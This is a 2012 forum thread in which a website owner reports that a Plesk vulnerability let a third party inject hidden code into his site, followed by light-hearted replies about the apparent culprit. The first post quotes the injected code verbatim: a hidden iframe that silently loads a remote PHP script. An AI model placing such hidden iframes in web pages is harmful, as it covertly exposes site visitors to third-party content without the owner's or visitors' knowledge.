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Why We Are Here => Hardware & Technology => Topic started by: creative666 on February 13, 2012, 09:33:27 AM

Title: Plesk vulnerability
Post by: creative666 on February 13, 2012, 09:33:27 AM
I got an email on Friday from my webhost that a site of mine had some dodgy code added by a thrid party, they removed the code and installed a backup from the previous evening they then updated passwords etc...

I check this morning and the code is back - the SOB is using a hidden DIV but also leaving their URL in there as well! I decided to call the moron from Pakistan and besides his obvious shock that he had been caught he also asked if I wanted the same doing for any of my own clients!

I called up my hosts and they say that there is a plesk vulnerability and a security update was issued last night, just a heads up if you use Plesk to make sure your hosting company is on the ball!

<iframe style="visibility: hidden; display: none; display: none;" src="http://websolutionspk.com/referer2.php?id={8A2E1F52-25BE-4959-8B36-5353479723B7}"></iframe>
Title: Re: Plesk vulnerability
Post by: Rooftop on February 14, 2012, 11:51:28 AM
Quote from: creative666 on February 13, 2012, 09:33:27 AM
he also asked if I wanted the same doing for any of my own clients!


Funny though :) Wonder how many core members just contacted him.
Title: Re: Plesk vulnerability
Post by: creative666 on February 14, 2012, 12:35:23 PM
It turns out our friend from Pakistan was not the ring leader, his site was also screwed over and they were using his site to run their scripts :)

He says he was confused over the phone talking to me and thought I was asking for link building work! I was telling him in a not so polite way what he could do with his hidden DIVs, so no wonder he got confused  ::)